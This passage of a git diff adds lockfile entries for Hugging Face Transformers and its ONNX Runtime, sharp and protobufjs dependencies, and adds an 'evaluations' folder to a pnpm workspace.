es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + es-errors@1.3.0: resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} engines: {node: '>= 0.4'} + es6-error@4.1.1: + resolution: {integrity: sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==} + esbuild@0.27.7: resolution: {integrity: sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==} engines: {node: '>=18'} @@ -530,6 +759,10 @@ packages: resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} engines: {node: '>=6'} + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + fast-content-type-parse@1.1.0: resolution: {integrity: sha512-fBHHqSTFLVnR61C+gltJuE5GkVQMV0S2nqUO8TJ+5Z3qAKG8vAx4FKai1s5jq/inV1+sREynIWSuQ6HgoSXpDQ==} @@ -581,6 +814,9 @@ packages: resolution: {integrity: sha512-Dobi7gcTEq8yszimcfp/R7+owiT4WncAJ7VTTgFH1jYJ5GaG1FbhjwDG820hptN0QDFvzVY3RfCzdInvGPGzjA==} engines: {node: '>=14'} + flatbuffers@25.9.23: + resolution: {integrity: sha512-MI1qs7Lo4Syw0EOzUl0xjs2lsoeqFku44KpngfIduHBYvzm8h2+7K8YMQh1JtVVVrUvhLpNwqVi4DERegUJhPQ==} + forwarded@0.2.0: resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} engines: {node: '>= 0.6'} @@ -607,9 +843,27 @@ packages: resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} engines: {node: '>=10.13.0'} + global-agent@3.0.0: + resolution: {integrity: sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==} + engines: {node: '>=10.0'} + + globalthis@1.0.4: + resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} + engines: {node: '>= 0.4'} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + graceful-fs@4.2.11: resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + guid-typescript@1.0.9: + resolution: {integrity: sha512-Y8T4vYhEfwJOTbouREvG+3XDsjr8E3kIr7uf+JZ0BYloFsttiHU0WfvANVsR7TxNUJa/WpCnw/Ino/p+DeBhBQ==} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + hasown@2.0.3: resolution: {integrity: sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==} engines: {node: '>= 0.4'} @@ -651,6 +905,9 @@ packages: json-schema-traverse@1.0.0: resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + json-stringify-safe@5.0.1: + resolution: {integrity: sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==} + light-my-request@5.14.0: resolution: {integrity: sha512-aORPWntbpH5esaYpGOOmri0OHDOe3wC5M2MQxZ9dvMLZm6DnaAn0kJlcbU9hwsQgLzmZyReKwFwwPkR+nHu5kA==} @@ -661,10 +918,17 @@ packages: lines-and-columns@1.2.4: resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + long@5.3.2: + resolution: {integrity: sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==} + loose-envify@1.4.0: resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} hasBin: true + matcher@3.0.0: + resolution: {integrity: sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==} + engines: {node: '>=10'} + merge2@1.4.1: resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} engines: {node: '>= 8'} @@ -717,6 +981,10 @@ packages: resolution: {integrity: sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==} engines: {node: '>= 6'} + object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + obliterator@2.0.5: resolution: {integrity: sha512-42CPE9AhahZRsMNslczq0ctAEtqk8Eka26QofnqC346BZdHDySk3LWka23LI7ULIw11NmltpiLagIq8gBozxTw==} @@ -724,6 +992,19 @@ packages: resolution: {integrity: sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==} engines: {node: '>=14.0.0'} + onnxruntime-common@1.24.0-dev.20251116-b39e144322: + resolution: {integrity: sha512-BOoomdHYmNRL5r4iQ4bMvsl2t0/hzVQ3OM3PHD0gxeXu1PmggqBv3puZicEUVOA3AtHHYmqZtjMj9FOfGrATTw==} + + onnxruntime-common@1.24.3: + resolution: {integrity: sha512-GeuPZO6U/LBJXvwdaqHbuUmoXiEdeCjWi/EG7Y1HNnDwJYuk6WUbNXpF6luSUY8yASul3cmUlLGrCCL1ZgVXqA==} + + onnxruntime-node@1.24.3: + resolution: {integrity: sha512-JH7+czbc8ALA819vlTgcV+Q214/+VjGeBHDjX81+ZCD0PCVCIFGFNtT0V4sXG/1JXypKPgScQcB3ij/hk3YnTg==} + os: [win32, darwin, linux] + + onnxruntime-web@1.26.0-dev.20260416-b7804b056c: + resolution: {integrity: sha512-MD6Ss4GSpQBo6zqoJzyT9LRbKYs7x/JVN23FT24EcEvlqF4VuzPOeH6X38orZPKHQDbprn7K+SBpu0/mj2CQiw==} + path-parse@1.0.7: resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} @@ -756,6 +1037,9 @@ packages: resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==} engines: {node: '>= 6'} + platform@1.3.6: + resolution: {integrity: sha512-fnWVljUchTro6RiCFvCXBbNhJc2NijN7oIQxbwsyL0buWJPG85v81ehlHI9fXrJsMNgTofEoWIQeClKpgxFLrg==} + postcss-import@15.1.0: resolution: {integrity: sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==} engines: {node: '>=14.0.0'} @@ -818,6 +1102,10 @@ packages: process-warning@5.0.0: resolution: {integrity: sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==} + protobufjs@7.5.6: + resolution: {integrity: sha512-M71sTMB146U3u0di3yup8iM+zv8yPRNQVr1KK4tyBitl3qFvEGucq/rGDRShD2rsJhtN02RJaJ7j5X5hmy8SJg==} + engines: {node: '>=12.0.0'} + proxy-addr@2.0.7: resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} engines: {node: '>= 0.10'} @@ -871,6 +1159,10 @@ packages: rfdc@1.4.1: resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} + roarr@2.15.4: + resolution: {integrity: sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==} + engines: {node: '>=8.0'} + run-parallel@1.2.0: resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} @@ -887,14 +1179,25 @@ packages: secure-json-parse@2.7.0: resolution: {integrity: sha512-6aU+Rwsezw7VR8/nyvKTx8QpWH9FrcYiXXlqC4z5d5XQBDRqtbfsRjnwGyqbi3gddNtWHuEk9OANUotL26qKUw==} + semver-compare@1.0.0: + resolution: {integrity: sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==} + semver@7.7.4: resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==} engines: {node: '>=10'} hasBin: true + serialize-error@7.0.1: + resolution: {integrity: sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==} + engines: {node: '>=10'} + set-cookie-parser@2.7.2: resolution: {integrity: sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==} + sharp@0.34.5: + resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + sonic-boom@4.2.1: resolution: {integrity: sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==} @@ -906,6 +1209,9 @@ packages: resolution: {integrity: sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==} engines: {node: '>= 10.x'} + sprintf-js@1.1.3: + resolution: {integrity: sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==} + streamsearch@1.1.0: resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} engines: {node: '>=10.0.0'} @@ -970,6 +1276,10 @@ packages: engines: {node: '>=18.0.0'} hasBin: true + type-fest@0.13.1: + resolution: {integrity: sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==} + engines: {node: '>=10'} + typescript@5.9.3: resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} engines: {node: '>=14.17'} @@ -991,6 +1301,11 @@ snapshots: '@alloc/quick-lru@5.2.0': {} + '@emnapi/runtime@1.10.0': + dependencies: + tslib: 2.8.1 + optional: true + '@esbuild/aix-ppc64@0.27.7': optional: true @@ -1090,6 +1405,114 @@ snapshots: dependencies: fast-deep-equal: 3.1.3 + '@huggingface/jinja@0.5.8': {} + + '@huggingface/tokenizers@0.1.3': {} + + '@huggingface/transformers@4.2.0': + dependencies: + '@huggingface/jinja': 0.5.8 + '@huggingface/tokenizers': 0.1.3 + onnxruntime-node: 1.24.3 + onnxruntime-web: 1.26.0-dev.20260416-b7804b056c + sharp: 0.34.5 + + '@img/colour@1.1.0': {} + + '@img/sharp-darwin-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.2.4 + optional: true + + '@img/sharp-darwin-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.2.4 + optional: true + + '@img/sharp-libvips-darwin-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-darwin-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm@1.2.4': + optional: true + + '@img/sharp-libvips-linux-ppc64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-riscv64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-s390x@1.2.4': + optional: true + + '@img/sharp-libvips-linux-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + optional: true + + '@img/sharp-linux-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.2.4 + optional: true + + '@img/sharp-linux-arm@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm': 1.2.4 + optional: true + + '@img/sharp-linux-ppc64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-ppc64': 1.2.4 + optional: true + + '@img/sharp-linux-riscv64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-riscv64': 1.2.4 + optional: true + + '@img/sharp-linux-s390x@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-s390x': 1.2.4 + optional: true + + '@img/sharp-linux-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + optional: true + + '@img/sharp-wasm32@0.34.5': + dependencies: + '@emnapi/runtime': 1.10.0 + optional: true + + '@img/sharp-win32-arm64@0.34.5': + optional: true + + '@img/sharp-win32-ia32@0.34.5': + optional: true + + '@img/sharp-win32-x64@0.34.5': + optional: true + '@jridgewell/gen-mapping@0.3.13': dependencies: '@jridgewell/sourcemap-codec': 1.5.5 @@ -1147,6 +1570,29 @@ snapshots: '@pinojs/redact@0.4.0': {} + '@protobufjs/aspromise@1.1.2': {} + + '@protobufjs/base64@1.1.2': {} + + '@protobufjs/codegen@2.0.5': {} + + '@protobufjs/eventemitter@1.1.0': {} + + '@protobufjs/fetch@1.1.0': + dependencies: + '@protobufjs/aspromise': 1.1.2 + '@protobufjs/inquire': 1.1.1 + + '@protobufjs/float@1.0.2': {} + + '@protobufjs/inquire@1.1.1': {} + + '@protobufjs/path@1.1.2': {} + + '@protobufjs/pool@1.1.0': {} + + '@protobufjs/utf8@1.1.1': {} + '@swc/counter@0.1.3': {} '@swc/helpers@0.5.5': @@ -1171,6 +1617,8 @@ snapshots: abstract-logging@2.0.1: {} + adm-zip@0.5.17: {} + ajv-formats@2.1.1(ajv@8.20.0): optionalDependencies: ajv: 8.20.0 @@ -1215,6 +1663,8 @@ snapshots: binary-extensions@2.3.0: {} + boolean@3.2.0: {} + braces@3.0.3: dependencies: fill-range: 7.1.1 @@ -1257,14 +1707,34 @@ snapshots: csstype@3.2.3: {} + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.1 + es-errors: 1.3.0 + gopd: 1.2.0 + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + detect-libc@2.1.2: {} + + detect-node@2.1.0: {} + didyoumean@1.2.2: {} dlv@1.1.3: {} electron-to-chromium@1.5.352: {} + es-define-property@1.0.1: {} + es-errors@1.3.0: {} + es6-error@4.1.1: {} + esbuild@0.27.7: optionalDependencies: '@esbuild/aix-ppc64': 0.27.7 @@ -1296,6 +1766,8 @@ snapshots: escalade@3.2.0: {} + escape-string-regexp@4.0.0: {} + fast-content-type-parse@1.1.0: {} fast-decode-uri-component@1.0.1: {} @@ -1367,6 +1839,8 @@ snapshots: fast-querystring: 1.1.2 safe-regex2: 3.1.0 + flatbuffers@25.9.23: {} + forwarded@0.2.0: {} fraction.js@5.3.4: {} @@ -1388,8 +1862,30 @@ snapshots: dependencies: is-glob: 4.0.3 + global-agent@3.0.0: + dependencies: + boolean: 3.2.0 + es6-error: 4.1.1 + matcher: 3.0.0 + roarr: 2.15.4 + semver: 7.7.4 + serialize-error: 7.0.1 + + globalthis@1.0.4: + dependencies: + define-properties: 1.2.1 + gopd: 1.2.0 + + gopd@1.2.0: {} + graceful-fs@4.2.11: {} + guid-typescript@1.0.9: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.1 + hasown@2.0.3: dependencies: function-bind: 1.1.2 @@ -1422,6 +1918,8 @@ snapshots: json-schema-traverse@1.0.0: {} + json-stringify-safe@5.0.1: {} + light-my-request@5.14.0: dependencies: cookie: 0.7.2 @@ -1432,10 +1930,16 @@ snapshots: lines-and-columns@1.2.4: {} + long@5.3.2: {} + loose-envify@1.4.0: dependencies: js-tokens: 4.0.0 + matcher@3.0.0: + dependencies: + escape-string-regexp: 4.0.0 + merge2@1.4.1: {} micromatch@4.0.8: @@ -1488,10 +1992,31 @@ snapshots: object-hash@3.0.0: {} + object-keys@1.1.1: {} + obliterator@2.0.5: {} on-exit-leak-free@2.1.2: {} + onnxruntime-common@1.24.0-dev.20251116-b39e144322: {} + + onnxruntime-common@1.24.3: {} + + onnxruntime-node@1.24.3: + dependencies: + adm-zip: 0.5.17 + global-agent: 3.0.0 + onnxruntime-common: 1.24.3 + + onnxruntime-web@1.26.0-dev.20260416-b7804b056c: + dependencies: + flatbuffers: 25.9.23 + guid-typescript: 1.0.9 + long: 5.3.2 + onnxruntime-common: 1.24.0-dev.20251116-b39e144322 + platform: 1.3.6 + protobufjs: 7.5.6 + path-parse@1.0.7: {} picocolors@1.1.1: {} @@ -1524,6 +2049,8 @@ snapshots: pirates@4.0.7: {} + platform@1.3.6: {} + postcss-import@15.1.0(postcss@8.5.14): dependencies: postcss: 8.5.14 @@ -1574,6 +2101,21 @@ snapshots: process-warning@5.0.0: {} + protobufjs@7.5.6: + dependencies: + '@protobufjs/aspromise': 1.1.2 + '@protobufjs/base64': 1.1.2 + '@protobufjs/codegen': 2.0.5 + '@protobufjs/eventemitter': 1.1.0 + '@protobufjs/fetch': 1.1.0 + '@protobufjs/float': 1.0.2 + '@protobufjs/inquire': 1.1.1 + '@protobufjs/path': 1.1.2 + '@protobufjs/pool': 1.1.0 + '@protobufjs/utf8': 1.1.1 + '@types/node': 20.19.39 + long: 5.3.2 + proxy-addr@2.0.7: dependencies: forwarded: 0.2.0 @@ -1620,6 +2162,15 @@ snapshots: rfdc@1.4.1: {} + roarr@2.15.4: + dependencies: + boolean: 3.2.0 + detect-node: 2.1.0 + globalthis: 1.0.4 + json-stringify-safe: 5.0.1 + semver-compare: 1.0.0 + sprintf-js: 1.1.3 + run-parallel@1.2.0: dependencies: queue-microtask: 1.2.3 @@ -1636,10 +2187,47 @@ snapshots: secure-json-parse@2.7.0: {} + semver-compare@1.0.0: {} + semver@7.7.4: {} + serialize-error@7.0.1: + dependencies: + type-fest: 0.13.1 + set-cookie-parser@2.7.2: {} + sharp@0.34.5: + dependencies: + '@img/colour': 1.1.0 + detect-libc: 2.1.2 + semver: 7.7.4 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.34.5 + '@img/sharp-darwin-x64': 0.34.5 + '@img/sharp-libvips-darwin-arm64': 1.2.4 + '@img/sharp-libvips-darwin-x64': 1.2.4 + '@img/sharp-libvips-linux-arm': 1.2.4 + '@img/sharp-libvips-linux-arm64': 1.2.4 + '@img/sharp-libvips-linux-ppc64': 1.2.4 + '@img/sharp-libvips-linux-riscv64': 1.2.4 + '@img/sharp-libvips-linux-s390x': 1.2.4 + '@img/sharp-libvips-linux-x64': 1.2.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + '@img/sharp-linux-arm': 0.34.5 + '@img/sharp-linux-arm64': 0.34.5 + '@img/sharp-linux-ppc64': 0.34.5 + '@img/sharp-linux-riscv64': 0.34.5 + '@img/sharp-linux-s390x': 0.34.5 + '@img/sharp-linux-x64': 0.34.5 + '@img/sharp-linuxmusl-arm64': 0.34.5 + '@img/sharp-linuxmusl-x64': 0.34.5 + '@img/sharp-wasm32': 0.34.5 + '@img/sharp-win32-arm64': 0.34.5 + '@img/sharp-win32-ia32': 0.34.5 + '@img/sharp-win32-x64': 0.34.5 + sonic-boom@4.2.1: dependencies: atomic-sleep: 1.0.0 @@ -1648,6 +2236,8 @@ snapshots: split2@4.2.0: {} + sprintf-js@1.1.3: {} + streamsearch@1.1.0: {} styled-jsx@5.1.1(react@18.3.1): @@ -1729,6 +2319,8 @@ snapshots: optionalDependencies: fsevents: 2.3.3 + type-fest@0.13.1: {} + typescript@5.9.3: {} undici-types@6.21.0: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index a116794..e45a9e0 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -2,3 +2,4 @@ packages: - "packages/*" - "apps/*" - "examples/*" + - "evaluations"